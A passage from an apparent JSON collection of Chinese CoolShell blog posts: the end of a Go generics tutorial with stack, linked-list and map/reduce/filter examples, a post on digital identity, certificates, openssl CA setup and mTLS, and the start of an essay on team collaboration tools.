版，以及我们的自定义类型（`struct`）的版本。现在好了，有了泛型的支持后，我们可以使用 `[T any]` 这样的方式来声明一个泛型类型（有点像C++的 `typename T`），然后面都使用 `T` 来声明变量就好。\n\n\n上面这个示例中，我们泛型的 `print()` 支持了三种类型的适配—— `int`型，`float64`型，和 `string`型。要让这段程序跑起来需要在编译行上加上 `-gcflags=-G=3`编译参数（这个编译参数会在1.18版上成为默认参数），如下所示：\n\n\n\n```\n$ go run -gcflags=-G=3 ./main.go\n```\n\n有了个操作以后，我们就可以写一些标准的算法了，比如，一个查找的算法\n\n\n\n```\nfunc find[T comparable] (arr []T, elem T) int {\n  for i, v := range arr {\n    if  v == elem {\n      return i\n    }\n  }\n  return -1\n}\n```\n\n我们注意到，我们没有使用 `[T any]`的形式，而是使用 `[T comparable]`的形式，`comparable`是一个接口类型，其约束了我们的类型需要支持 `==` 的操作， 不然就会有类型不对的编译错误。上面的这个 `find()` 函数同样可以使用于 `int`, `float64`或是`string`类型。\n\n\n从上面的这两个小程序来看，Go语言的泛型已基本可用了，只不过，还有三个问题：\n\n\n* 一个是 `fmt.Printf()`中的泛型类型是 `%v` 还不够好，不能像c++ `iostream`重载 `>>` 来获得程序自定义的输出。\n* 另外一个是，go不支持操作符重载，所以，你也很难在泛型算法中使用“泛型操作符”如：`==` 等\n* 最后一个是，上面的 `find()` 算法依赖于“数组”，对于hash-table、tree、graph、link等数据结构还要重写。也就是说，没有一个像C++ STL那样的一个泛型迭代器（这其中的一部分工作当然也需要通过重载操作符（如：`++` 来实现）\n\n\n不过，这个已经很好了，让我们来看一下，可以干哪些事了。\n\n\n#### 数据结构\n\n\n##### Stack 栈\n\n\n编程支持泛型最大的优势就是可以实现类型无关的数据结构了。下面，我们用Slices这个结构体来实现一个Stack的数结构。\n\n\n首先，我们可以定义一个泛型的Stack\n\n\n\n```\ntype stack [T any] []T\n```\n\n看上去很简单，还是 `[T any]` ，然后 `[]T` 就是一个数组，接下来就是实现这个数据结构的各种方法了。下面的代码实现了 `push()` ，`pop()`，`top()`，`len()`，`print()`这几个方法，这几个方法和 C++的STL中的 Stack很类似。（注：目前Go的泛型函数不支持 export，所以只能使用第一个字符是小写的函数名）\n\n\n\n```\nfunc (s *stack[T]) push(elem T) {\n  *s = append(*s, elem)\n}\n\nfunc (s *stack[T]) pop() {\n  if len(*s) > 0 {\n    *s = (*s)[:len(*s)-1]\n  } \n}\nfunc (s *stack[T]) top() *T{\n  if len(*s) > 0 {\n    return &(*s)[len(*s)-1]\n  } \n  return nil\n}\n\nfunc (s *stack[T]) len() int{\n  return len(*s)\n}\n\nfunc (s *stack[T]) print() {\n  for _, elem := range *s {\n    fmt.Print(elem)\n    fmt.Print(\" \")\n  }\n  fmt.Println(\"\")\n}\n```\n\n上面的这个例子还是比较简单的，不过在实现的过程中，对于一个如果栈为空，那么 `top()`要么返回`error`要么返回空值，在这个地方卡了一下。因为，之前，我们返回的“空”值，要么是 int 的`0`，要么是 string 的 `“”`，然而在泛型的`T`下，这个值就不容易搞了。也就是说，除了类型泛型后，还需要有一些“值的泛型”（注：在C++中，如果你要用一个空栈进行 `top()` 操作，你会得到一个 segmentation fault），所以，这里我们返回的是一个指针，这样可以判断一下指针是否为空。\n\n\n下面是如何使用这个stack的代码。\n\n\n\n```\nfunc main() {\n\n  ss := stack[string]{}\n  ss.push(\"Hello\")\n  ss.push(\"Hao\")\n  ss.push(\"Chen\")\n  ss.print()\n  fmt.Printf(\"stack top is - %v\\n\", *(ss.top()))\n  ss.pop()\n  ss.pop()\n  ss.print()\n\n  \n  ns := stack[int]{}\n  ns.push(10)\n  ns.push(20)\n  ns.print()\n  ns.pop()\n  ns.print()\n  *ns.top() += 1\n  ns.print()\n  ns.pop()\n  fmt.Printf(\"stack top is - %v\\n\", ns.top())\n\n}\n```\n\n \n\n\n##### LinkList 双向链表\n\n\n下面我们再来看一个双向链表的实现。下面这个实现中实现了 这几个方法：\n\n\n* `add()` – 从头插入一个数据结点\n* `push()` – 从尾插入一个数据结点\n* `del()` – 删除一个结点（因为需要比较，所以使用了 `compareable` 的泛型）\n* `print()` – 从头遍历一个链表，并输出值。\n\n\n\n```\ntype node[T comparable] struct {\n  data T\n  prev *node[T]\n  next *node[T]\n}\n\ntype list[T comparable] struct {\n  head, tail *node[T]\n  len int\n}\n\nfunc (l *list[T]) isEmpty() bool {\n  return l.head == nil && l.tail == nil\n}\n\nfunc (l *list[T]) add(data T) {\n  n := &node[T] {\n    data : data,\n    prev : nil,\n    next : l.head,\n  }\n  if l.isEmpty() {\n    l.head = n\n    l.tail = n\n  }\n  l.head.prev = n\n  l.head = n\n}\n\nfunc (l *list[T]) push(data T) { \n  n := &node[T] {\n    data : data,\n    prev : l.tail,\n    next : nil,\n  }\n  if l.isEmpty() {\n    l.head = n\n    l.tail = n\n  }\n  l.tail.next = n\n  l.tail = n\n}\n\nfunc (l *list[T]) del(data T) { \n  for p := l.head; p != nil; p = p.next {\n    if data == p.data {\n      \n      if p == l.head {\n        l.head = p.next\n      }\n      if p == l.tail {\n        l.tail = p.prev\n      }\n      if p.prev != nil {\n        p.prev.next = p.next\n      }\n      if p.next != nil {\n        p.next.prev = p.prev\n      }\n      return \n    }\n  } \n}\n\nfunc (l *list[T]) print() {\n  if l.isEmpty() {\n    fmt.Println(\"the link list is empty.\")\n    return \n  }\n  for p := l.head; p != nil; p = p.next {\n    fmt.Printf(\"[%v] -> \", p.data)\n  }\n  fmt.Println(\"nil\")\n}\n```\n\n上面这个代码都是一些比较常规的链表操作，学过链表数据结构的同学应该都不陌生，使用的代码也不难，如下所示，都很简单，看代码就好了。\n\n\n\n```\nfunc main(){\n  var l = list[int]{}\n  l.add(1)\n  l.add(2)\n  l.push(3)\n  l.push(4)\n  l.add(5)\n  l.print() //[5] -> [2] -> [1] -> [3] -> [4] -> nil\n  l.del(5)\n  l.del(1)\n  l.del(4)\n  l.print() //[2] -> [3] -> nil\n  \n}\n```\n\n#### 函数式范型\n\n\n接下来，我们就要来看一下我们函数式编程的三大件 `map()` 、 `reduce()` 和 `filter()` 在之前的《[Go编程模式：Map-Reduce](https://coolshell.cn/articles/21164.html \"Go编程模式：Map-Reduce\")》文章中，我们可以看到要实现这样的泛型，需要用到反射，代码复杂到完全读不懂。下面来看一下真正的泛型版本。\n\n\n##### 泛型Map\n\n\n\n```\nfunc gMap[T1 any, T2 any] (arr []T1, f func(T1) T2) []T2 {\n  result := make([]T2, len(arr))\n  for i, elem := range arr {\n    result[i] = f(elem)\n  }\n  return result\n}\n```\n\n在上面的这个 map函数中我使用了两个类型 – `T1` 和 `T2` ，\n\n\n* `T1` – 是需要处理数据的类型\n* `T2` – 是处理后的数据类型\n\n\n`T1` 和 `T2` 可以一样，也可以不一样。\n\n\n我们还有一个函数参数 –  `func(T1) T2` 意味着，进入的是 `T1` 类型的，出来的是 `T2` 类型的。\n\n\n然后，整个函数返回的是一个 `[]T2`\n\n\n好的，我们来看一下怎么使用这个map函数：\n\n\n\n```\nnums := []int {0,1,2,3,4,5,6,7,8,9}\nsquares := gMap(nums, func (elem int) int {\n  return elem * elem\n})\nprint(squares)  //0 1 4 9 16 25 36 49 64 81 \n\nstrs := []string{\"Hao\", \"Chen\", \"MegaEase\"}\nupstrs := gMap(strs, func(s string) string  {\n  return strings.ToUpper(s)\n})\nprint(upstrs) // HAO CHEN MEGAEASE \n\n\ndict := []string{\"零\", \"壹\", \"贰\", \"叁\", \"肆\", \"伍\", \"陆\", \"柒\", \"捌\", \"玖\"}\nstrs =  gMap(nums, func (elem int) string  {\n  return  dict[elem]\n})\nprint(strs) // 零 壹 贰 叁 肆 伍 陆 柒 捌 玖\n```\n\n##### 泛型 Reduce\n\n\n接下来，我们再来看一下我们的Reduce函数，reduce函数是把一堆数据合成一个。\n\n\n\n```\nfunc gReduce[T1 any, T2 any] (arr []T1, init T2, f func(T2, T1) T2) T2 {\n  result := init\n  for _, elem := range arr {\n    result = f(result, elem)\n  }\n  return result\n}\n```\n\n函数实现起来很简单，但是感觉不是很优雅。\n\n\n* 也是有两个类型 `T1` 和 `T2`，前者是输出数据的类型，后者是佃出数据的类型。\n* 因为要合成一个数据，所以需要有这个数据的初始值 `init`，是 `T2` 类型\n* 而自定义函数 `func(T2, T1) T2`，会把这个init值传给用户，然后用户处理完后再返回出来。\n\n\n下面是一个使用上的示例——求一个数组的和\n\n\n\n```\nnums := []int {0,1,2,3,4,5,6,7,8,9}\nsum := gReduce(nums, 0, func (result, elem int) int  {\n    return result + elem\n})\nfmt.Printf(\"Sum = %d \\n\", sum)\n```\n\n##### 泛型 filter\n\n\nfilter函数主要是用来做过滤的，把数据中一些符合条件（filter in）或是不符合条件（filter out）的数据过滤出来，下面是相关的代码示例\n\n\n\n```\nfunc gFilter[T any] (arr []T, in bool, f func(T) bool) []T {\n  result := []T{}\n  for _, elem := range arr {\n    choose := f(elem)\n    if (in && choose) || (!in && !choose) {\n      result = append(result, elem)\n    }\n  }\n  return result\n}\n\nfunc gFilterIn[T any] (arr []T, f func(T) bool) []T {\n  return gFilter(arr, true, f)\n}\n\nfunc gFilterOut[T any] (arr []T, f func(T) bool) []T {\n  return gFilter(arr, false, f)\n}\n```\n\n其中，用户需要提从一个 `bool` 的函数，我们会把数据传给用户，然后用户只需要告诉我行还是不行，于是我们就会返回一个过滤好的数组给用户。\n\n\n比如，我们想把数组中所有的奇数过滤出来\n\n\n\n```\nnums := []int {0,1,2,3,4,5,6,7,8,9}\nodds := gFilterIn(nums, func (elem int) bool  {\n    return elem % 2 == 1\n})\nprint(odds)\n```\n\n#### 业务示例\n\n\n正如《[Go编程模式：Map-Reduce](https://coolshell.cn/articles/21164.html \"Go编程模式：Map-Reduce\")》中的那个业务示例，我们在这里再做一遍。\n\n\n首先，我们先声明一个员工对象和相关的数据\n\n\n\n```\ntype Employee struct {\n  Name     string\n  Age      int\n  Vacation int\n  Salary   float32\n}\n\nvar employees = []Employee{\n  {\"Hao\", 44, 0, 8000.5},\n  {\"Bob\", 34, 10, 5000.5},\n  {\"Alice\", 23, 5, 9000.0},\n  {\"Jack\", 26, 0, 4000.0},\n  {\"Tom\", 48, 9, 7500.75},\n  {\"Marry\", 29, 0, 6000.0},\n  {\"Mike\", 32, 8, 4000.3},\n}\n```\n\n然后，我们想统一下所有员工的薪水，我们就可以使用前面的reduce函数\n\n\n\n```\ntotal_pay := gReduce(employees, 0.0, func(result float32, e Employee) float32 {\n  return result + e.Salary\n})\nfmt.Printf(\"Total Salary: %0.2f\\n\", total_pay) // Total Salary: 43502.05\n```\n\n我们函数这个 `gReduce` 函数有点啰嗦，还需要传一个初始值，在用户自己的函数中，还要关心 `result` 我们还是来定义一个更好的版本。\n\n\n一般来说，我们用 reduce 函数大多时候基本上是统计求和或是数个数，所以，是不是我们可以定义的更为直接一些？比如下面的这个 `CountIf()`，就比上面的 Reduce 干净了很多。\n\n\n\n```\nfunc gCountIf[T any](arr []T, f func(T) bool) int {\n  cnt := 0\n  for _, elem := range arr {\n    if f(elem) {\n      cnt += 1\n    }\n  }\n  return cnt;\n}\n```\n\n我们做求和，我们也可以写一个Sum的泛型。\n\n\n* 处理 `T` 类型的数据，返回 `U`类型的结果\n* 然后，用户只需要给我一个需要统计的 `T` 的 `U` 类型的数据就可以了。\n\n\n代码如下所示：\n\n\n\n```\ntype Sumable interface {\n  type int, int8, int16, int32, int64,\n        uint, uint8, uint16, uint32, uint64,\n        float32, float64\n}\n\nfunc gSum[T any, U Sumable](arr []T, f func(T) U) U {\n  var sum U\n  for _, elem := range arr {\n    sum += f(elem)\n  }\n  return sum\n}\n```\n\n上面的代码我们动用了一个叫 Sumable 的接口，其限定了 U 类型，只能是 Sumable里的那些类型，也就是整型或浮点型，这个支持可以让我们的泛型代码更健壮一些。\n\n\n于是，我们就可以完成下面的事了。\n\n\n**1）统计年龄大于40岁的员工数**\n\n\n\n```\nold := gCountIf(employees, func (e Employee) bool  {\n    return e.Age > 40\n})\nfmt.Printf(\"old people(>40): %d\\n\", old) \n// ld people(>40): 2\n```\n\n**2）统计薪水超过 6000元的员工数**\n\n\n\n```\nhigh_pay := gCountIf(employees, func(e Employee) bool {\n  return e.Salary >= 6000\n})\nfmt.Printf(\"High Salary people(>6k): %d\\n\", high_pay) \n//High Salary people(>6k): 4\n```\n\n**3）统计年龄小于30岁的员工的薪水**\n\n\n\n```\nyounger_pay := gSum(employees, func(e Employee) float32 {\n  if e.Age < 30 {\n      return e.Salary\n  } \n  return 0\n})\nfmt.Printf(\"Total Salary of Young People: %0.2f\\n\", younger_pay)\n//Total Salary of Young People: 19000.00\n```\n\n**4）统计全员的休假天数**\n\n\n\n```\ntotal_vacation := gSum(employees, func(e Employee) int {\n  return e.Vacation\n})\nfmt.Printf(\"Total Vacation: %d day(s)\\n\", total_vacation)\n//Total Vacation: 32 day(s)\n```\n\n**5）把没有休假的员工过滤出来**\n\n\n\n```\nno_vacation := gFilterIn(employees, func(e Employee) bool {\n  return e.Vacation == 0\n})\nprint(no_vacation)\n//{Hao 44 0 8000.5} {Jack 26 0 4000} {Marry 29 0 6000}\n```\n\n怎么样，你大概了解了泛型编程的意义了吧。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Go编程模式：Map-Reduce](../wp-content/uploads/2020/12/go.map_.reduce-150x150.png)](https://coolshell.cn/articles/21164.html)[Go编程模式：Map-Reduce](https://coolshell.cn/articles/21164.html)\n* [![Go 编程模式：k8s Visitor 模式](../wp-content/uploads/2020/12/go.k8s-150x150.png)](https://coolshell.cn/articles/21263.html)[Go 编程模式：k8s Visitor 模式](https://coolshell.cn/articles/21263.html)\n* [![Go编程模式：Pipeline](../wp-content/uploads/2020/12/go.line_.-150x150.png)](https://coolshell.cn/articles/21228.html)[Go编程模式：Pipeline](https://coolshell.cn/articles/21228.html)\n* [![Go编程模式：委托和反转控制](../wp-content/uploads/2020/12/go.pair_-150x150.png)](https://coolshell.cn/articles/21214.html)[Go编程模式：委托和反转控制](https://coolshell.cn/articles/21214.html)\n* [![Go 编程模式：Go Generation](../wp-content/uploads/2020/12/go.generate-150x150.png)](https://coolshell.cn/articles/21179.html)[Go 编程模式：Go Generation](https://coolshell.cn/articles/21179.html)\n* [![Go 编程模式：Functional Options](../wp-content/uploads/2020/12/go.options-150x150.png)](https://coolshell.cn/articles/21146.html)[Go 编程模式：Functional Options](https://coolshell.cn/articles/21146.html)\nThe post [Go编程模式 ： 泛型编程](https://coolshell.cn/articles/21615.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2022-1-2 网络数字身份认证术.md",
    "content": "---\nlayout: post\ntitle: 网络数字身份认证术\ndate: 2022/1/2/ 8:38:13\nupdated: 2022/1/2/ 8:38:13\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2022/01/iStock-1175502114-300x201.png)这篇文章是《[HTTP API 认证授权术](https://coolshell.cn/articles/19395.html \"HTTP API 认证授权术\")》的姊妹篇，在那篇文章中，主要介绍了 HTTP API 认证和授权技术中用到的 HTTP Basic, Digest Access, HMAC, OAuth, JWT 等各种方式，主要是 API 上用到的一些技术，这篇文章主要想说的是另一个话题——身份认证。也就是说，怎么确认这个数据就是这个人发出来的？\n\n\n#### 用户密码\n\n\n要解决这个问题，我们先来看一个最简单的解——使用密码，通常来说，在网络上要证明一个人的身份的话，都需要这个人的一些私密而唯一的东西。比如，像密码这样的东西，很多地方，只要你提供了你的用户名+密码，就可以确定这个人是你（注明：关于密码管理，强密码设定，密码泄漏，密码破解以及密码哄骗不在这篇文章的话题中），也就是说，这个密码是非常私密的事，我们可以假设，这个事全世界只能有当事人一个人知道，所以，当事人得供正确的密码，我们就可以认证这个人了。\n\n\n为了加强密码的安全程度，一般会使用 2FA（Two-factor authentication）或 MFA（Multi-factor authentication），双因认证或多因认证，这需要用户提供一个唯一的可信设备，比如用户的手机，然后通过验证手机短信，或是像 [Google Authenticator](https://en.wikipedia.org/wiki/Google_Authenticator)  这样的动态口令来完成。这样的安全级别已经算是比较高了。如果能够再加上经常性的变更密码，那么安全级别就更好了。\n\n\n\n另外，一些公司还使用了生物密码来进行用户的身份验证，比如人脸识别。但是，我个人觉得人脸识别或是生物识别是比较糟糕的方式，因为：\n\n\n* 目前能被验证的生物信息（如人脸和指纹）太容易被别人获得和伪造了。\n* 这样东西不能被变更和吊销，密码可以被吊销和重置，人脸则不能。\n\n\n#### 密钥对和证书\n\n\n密码可以解决身证认证的问题有很多问题，最重要的一个问题就是，你要把你的密码提供给对方，对方才能验证你的身份。你不可能把你的密码提供给全世界的人吧，这样的话，全世界的人都有你的密码了，那么任何人都能变成你了。所以，用户密码这个事只能存在于权威机构和普通用户之间，不能存在于普遍应用中。所以，这里需要使用更好的解决方案。\n\n\n使用 ECC（[Elliptic-Curve Cryptography](https://en.wikipedia.org/wiki/Elliptic-curve_cryptography \"Elliptic-Curve Cryptography\")）椭圆曲线密码术，可以通过一个“密钥对”进行非对称加密。这种技术，在对信息进行加密和解密时，使用两个不同的密钥，其中一个用来做加密，另一个做解密。这样一来，我们就可以把其中一个密钥公布出去，称之为公钥，另一个密钥私密地保管好，称之为私钥。\n\n\n比如，我用我的私钥加密信息，然后，我把这个私钥所配对的公钥发布给所有人，大家都用公钥解密信息，不用我的公钥你解密不了这个信息。这样一来，就可以保证这个信息是我发出来的，不但保证了信息安全，还完成了身份认证。\n\n\n![](../wp-content/uploads/2022/01/key.pair_-1024x390.png)\n\n\n这样的现实案例一般用于网站，也就是用户得要知道我访问的这个网站是真实的，不是别人做的。因为 DNS 很容易被 hack，你连上一个不可信的网络，这个网络里的 DNS 把这个网站的 IP 地址解析成什么 就是什么了。但是有了这个加密的机制后，网站把自己的信息加密后连同公钥给到访问者，访问解密后就知道是不是这个网站了。\n\n\n但是，这里还是会有一个很严重的问题，那就是中间人攻击。如下图所示：\n\n\n![](../wp-content/uploads/2022/01/middle.man_-e1641105543137.png)\n\n\n中间人 Chad 把自己伪装成 Bob 向 Alice 要信息，然后，再伪装成 Alice 对 Bob 说，这就是 Alice 的公钥，于是 Bob 也无法验证是不是 Alice 的公钥，因为公钥里就是一堆乱七八糟的数据，我们完全不能分辨哪个公钥属于 Alice 的。试想，如果我们收到声称属于银行的密钥。我们怎么知道它确实属于你的银行？\n\n\n这里的答案就是**使用数字证书**。证书跟我们的身份证非常类似，其需要一个可信机构来颁发和验证的。这个证书机构 CA（Certificate Authority）是一个是大家都相信的权威机构，他用他的人品保证（当然一般会被严格管理和审计），CA 机构同样使用这样的非对称加密的技术来完成颁发和验证的事。下图展示了这一过程。\n\n\n![](../wp-content/uploads/2022/01/certificate-1024x532.png)\n\n\n说明一下上面这个图：\n\n\n1. 为了解决公钥认证的问题的，我们需要一个权威的CA 机构。\n2. Alice 把自己的信息（姓名、组织，地址，电邮，网址等）和自己的公钥打包成一个 CSR 的文件，发给 CA 机构，\n3. CA 机构会来找 Alice 做物理世界的认证，如果通过后，就会用自己的机构私钥，把CSR 变成一个签名证书。\n4. Bob 同学拿到 Alice 的证书，用 CA 机构的公钥解密后，得到 Alice 的公钥\n5. 后面就可以签证 信息是否来自 Alice 了。\n\n\n是的，这个过程就是在“套娃”，这种证书机构还可以给下级的证书机构发证，于是就会一层套一层地，形成一个证书链，顶层的叫根证书，你得绝对信任之。对于验证证书真实性的客户端，它需要能够验证链中所有 CA 的签名，这意味着客户端需要访问链中所有 CA 的证书。\n\n\n#### 证书生成过程演示\n\n\n并不是所有的场景都需要向这些大型的 CA 机构申请公钥证书，在任何一个企业，组织或是团体内都可以自己形这样的“小王国”，也就是说，你可以自行生成这样的证书，只需要你自己保证自己的生成证书的私钥的安全，以及不需要扩散到整个互联网。下面，我们用 `openssl`命令来演示这个过程。\n\n\n1）生成 CA 的证书（公钥） `ca.crt` 和私钥 `ca.key`\n\n\n\n```\nopenssl req -newkey rsa:2048 \\\n    -new -nodes -x509 \\\n    -days 365 \\\n    -out ca.crt \\\n    -keyout ca.key \\\n    -subj \"/C=SO/ST=Earth/L=Mountain/O=CoolShell/OU=HQ/CN=localhost\"\n```\n\n2)  生成 alice 的私钥\n\n\n\n```\nopenssl genrsa -out alice.key 2048\n```\n\n3）生成 Alice 的 CSR – Certificate Signing Request\n\n\n\n```\nopenssl req -new -key alice.key 365 -out alice.csr \\\n    -subj \"/C=CN/ST=Beijing/L=Haidian/O=CoolShell/OU=Test/CN=localhost.alice\"\n```\n\n4）使用 CA 给 Alice 签名证书\n\n\n\n```\nopenssl x509  -req -in alice.csr \\\n    -extfile <(printf \"subjectAltName=DNS:localhost.alice\") \\ \n    -CA ca.crt -CAkey ca.key  \\\n    -days 365 -sha256 -CAcreateserial \\\n    -out alice.crt\n```\n\n#### 双向认证 mTLS\n\n\n上面，我们说的基本上都是单向认证，大量的场景都是确保用户方访问的是真正的服务方，如：银行，电商网站，等。这样可以保证用户不会被钓鱼网站或是中间人攻击。但是，很多时候，我们也是需要双向认证的。下面是一个典型的场景——微信支付和商户间交互\n\n\n* 用户到商家那边买东西，商家要求用户进行支付。\n* 用户选择了微信支付，于是，界面从商户侧切到了微信侧\n* 微信那边支付完成后，商户这边收到微信那边支付完成的通知，于是开始发货。\n\n\n这个过程中有件事非常重要——就是微信通知商户支付完成的时候。\n\n\n* 微信得确保通知到的就是用户所支付商户，而不是别个。\n* 商户也得要能确认，来通知我的就是微信，不是别人。\n\n\n一般来说，微信会给商户一个 AppID和一个 AppSerct，用这个来确保是我认证过的商户来调用我，然后，需要商户在自己的系统里填一个回调的 URL，并通过平台设置的 key来做 MD5/HMAC的签名来确保是官方的回调。这都是在《[HTTP API 认证授权术](https://coolshell.cn/articles/19395.html \"HTTP API 认证授权术\")》中提到过的技术，是相对传统的技术。\n\n\n如今，**mTLS是**确保云原生应用程序中服务之间的通信安全的首选协议。 也就是双向认证。\n\n\n传统的 TLS 认证过程是：\n\n\n1. 客户端连接到服务器\n2. 服务器提供其 TLS 证书\n3. 客户端验证服务器的证书\n4. 客户端和服务器通过加密的 TLS 连接交换信息\n\n\n在 mTLS 中，客户端和服务器都有一个证书，双方都使用他们的公钥/私钥对进行身份验证。与常规 TLS 相比，mTLS 中有额外的步骤来验证双方（以**粗体显示的**额外步骤）：\n\n\n1. 客户端连接到服务器\n2. 服务器提供其 TLS 证书\n3. 客户端验证服务器的证书\n4. **客户端出示其 TLS 证书**\n5. **服务器验证客户端的证书**\n6. **服务器授予访问权限**\n7. 客户端和服务器通过加密的 TLS 连接交换信息\n\n\nmTLS 需要“根”TLS 证书；这我们自己来完成证书颁发机构的职责。授权客户端和服务器使用的证书必须与此根证书相对应。根证书是自签名的，这意味着我们需要自己创建它。（注：此方法不适用于公共 Internet 上的单向 TLS，因为外部证书颁发机构必须颁发这些证书）\n\n\n那么，为什么整个互联网上都用了 TLS 了，为什么 不升级一下使用 mTLS？这里有两方面的原因：\n\n\n* 公共互联网上要解决的问题是：A) 确保用户访问到的是正确的网站，而不是钓鱼网站。B）网站传输的内容是安全和私密且不会被篡改的。\n* 将 TLS 证书分发到所有最终用户设备将非常困难。生成、管理和验证为此所需的数十亿个证书几乎是不可能的任务。\n\n\n在较小的范围内，mTLS 对于单个组织非常有用且非常实用，尤其是当这些组织采用零信任方法来确保网络安全时。由于默认情况下零信任方法不信任任何用户、设备或请求，因此组织必须能够在每次尝试访问网络中的任何点时对每个用户、设备和请求进行身份验证。mTLS 通过对用户进行身份验证和设备验证来帮助实现这一目标。\n\n\n关于 mTLS，这里有一个我用 Golang 写的示例 – <https://github.com/haoel/mTLS>，大家可以参考一下。\n\n\nP.S. 本文图版中的卡司来自安全圈的标准 Cast，参看 [Alice and Bob](https://en.wikipedia.org/wiki/Alice_and_Bob)。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![HTTP API 认证授权术](../wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png)](https://coolshell.cn/articles/19395.html)[HTTP API 认证授权术](https://coolshell.cn/articles/19395.html)\n* [![计时攻击 Timing Attacks](../wp-content/uploads/2020/06/time-bomb-150x150.png)](https://coolshell.cn/articles/21003.html)[计时攻击 Timing Attacks](https://coolshell.cn/articles/21003.html)\n* [![HTTP的前世今生](../wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg)](https://coolshell.cn/articles/19840.html)[HTTP的前世今生](https://coolshell.cn/articles/19840.html)\n* [![如何免费的让网站启用HTTPS](../wp-content/uploads/2017/08/enable-https-banner-150x150.png)](https://coolshell.cn/articles/18094.html)[如何免费的让网站启用HTTPS](https://coolshell.cn/articles/18094.html)\n* [![从 MongoDB “赎金事件” 看安全问题](../wp-content/uploads/2017/01/MongoDB-150x150.jpg)](https://coolshell.cn/articles/17607.html)[从 MongoDB “赎金事件” 看安全问题](https://coolshell.cn/articles/17607.html)\n* [![关于移动端的钓鱼式攻击](../wp-content/uploads/2015/04/phishing-1-150x150.jpg)](https://coolshell.cn/articles/17066.html)[关于移动端的钓鱼式攻击](https://coolshell.cn/articles/17066.html)\nThe post [网络数字身份认证术](https://coolshell.cn/articles/21708.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2022-10-14 聊聊团队协同和协同工具.md",
    "content": "---\nlayout: post\ntitle: 聊聊团队协同和协同工具\ndate: 2022/10/14/ 4:20:38\nupdated: 2022/10/14/ 4:20:38\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2022/10/communication-300x168.png)这两天跟 [Cali](https://twitter.com/CaliCastleMusic) 和 [Rather](https://twitter.com/RatherJie) 做了一个线上的 [Podcast – Ep.5 一起聊聊团队协同](https://kjsyp.fm/podcasts/43961/episodes/ep5-ft-megaease)。主要是从 IM 工具扩展开来聊了一下团队的协同和相应的工具，但是聊天不是深度思考，有一些东西我没有讲透讲好，所以，我需要把我更多更完整更结构化的想法形成文字。（注：聊天聊地比较详细，本文只是想表达我的主要想法）\n\n\n#### 国内外的企业 IM 的本质差别\n\n\n国内企业级在线交流工具主要有：企业微信、钉钉、飞书，国外的则是：Slack、Discord这两大IM工具，你会发现，他们有很多不一样的东西，**其中有两个最大的不同，一个是企业管理，一个是企业文化。**\n\n\n##### 企业管理\n\n\n**Slack/Discrod 主要是通过建 Channel ，而国内的IM则主要是拉群**。你可能会说，这不是一样的吗？其实是不一样的，很明显，Channel 的属性是相对持久的，而群的属性则是临时的，前者是可以是部门，可以是团队，可以是项目，可以是产品，可以是某种长期存在的职能（如：技术分享），而拉群则是相对来说临时起意的，有时候，同样的人群能被重复地拉出好几次，因为之前临时起意的事做完了，所以群就被人所遗忘了，后面再有事就再来。**很明显，Channel 这种方式明显是有管理的属性的，而拉群则是没有管理的**。\n\n\n\n所以，在国内这种作坊式，野蛮粗放式的管理风格下，他们需要的就是想起一出是一出的 IM 工具，所以，拉群就是他们的工作习惯，因为没有科学的管理，所以没有章法，所以，他们不需要把工作内的信息结构化的工具。而国外则不然，国外的管理是精细化的，国外的公司还在重度使用 Email 的通讯方式，而 Email 是天生会给一个主题时行归类，而且 Email 天生不是碎片信息，所以，国外的 IM 需要跟 Email 竞争，因为像 Email 那样给邮件分类，把信息聚合在一个主题下的方式就能在 IM 上找到相关的影子。Channel 就是一个信息分类，相当于邮件分类，Slack 的 回复区和 Discord 的子区就像是把同一个主题信息时行聚合的功能。这明显是懂管理的人做的，而国内的拉群一看就是不懂管理的人干的，或者说是就是满足这些不懂管理的人的需求的。\n\n\n##### 企业文化\n\n\n团队协作和团队工作最大的基石是信任，如果有了信任，没有工具都会很爽，如果没有信任，什么工具都没用。信任是一种企业文化，这种文化不仅包括同级间的，还包括上下级间的。但是，因为国内的管理跟不上，所以，就导致了各种不信任的文化，而需要在这里不信任的文化中进行协同工作，国内的 IM 软件就会开发出如下在国外的 IM 中完全没有的功能：\n\n\n* **监控员工**。获取员工的工作时间以及工作位置。\n* **有详细的已读标注**。这样会给对方要回复的压力。\n* **发出的信息不能修改，不能删除，非常有限地可撤回**。\n\n\n而国外的 IM 则是，发出的信息可以修改/删除，没有已读标准，也不会监控员工。这种时候，我总是会对工作在这种不信任文化中人感到可怜……如果大家需要靠逼迫的方式把对方拉来跟我一起协作，我们还工作个什么劲啊。\n\n\n##### 小结\n\n\n所以，我们可以看到，**畸形的企业管理和企业文化下，就会导致畸形的协同工具**。最令人感到悲哀的是，有好多同学还觉得国内的钉钉非常之好，殊不知，你之所以感觉好用，是因为你所在的环境是如此的不堪。你看，**人到了不同的环境就会有不同的认识，所以，找一个好一些的环境对一个人的成长有多重要**。\n\n\n给一些新入行的人的建议就是，一个环境对一个人的认知会有非常大的影响，找一个好的环境是非常重要，如果不知道什么 环境是好的，那就先从不使用钉钉为工作协同软件的公司开始吧……\n\n\n#### 什么是好的协同工具\n\n\n我们从上面可以得到，协同的前提条件是你需要有一个基于信任的企业文化，还需要有有结构化思维的科学的管理思维。没有这两个东西，给你的团队再多的工具都不可能有真正好有协同的，大家就是装模作样罢了。\n\n\n假设我们的管理和文化都没有问题，那下面我们来谈谈协同工具的事。\n\n\n我个人觉得 IM 这种工具包括会议都不是一种好的协同工具，因为这些工具都无法把信息做到真正的结构化和准确化，用 IM 或是开会上的信息大多都是碎片化严重，而且没有经过深度思考或是准备的，基本都是即兴出来的东西，不靠谱的概率非常大。\n\n\n找人交流和开会不是有个话题就好的，还需要一个可以讨论的“议案”。在 Amazon 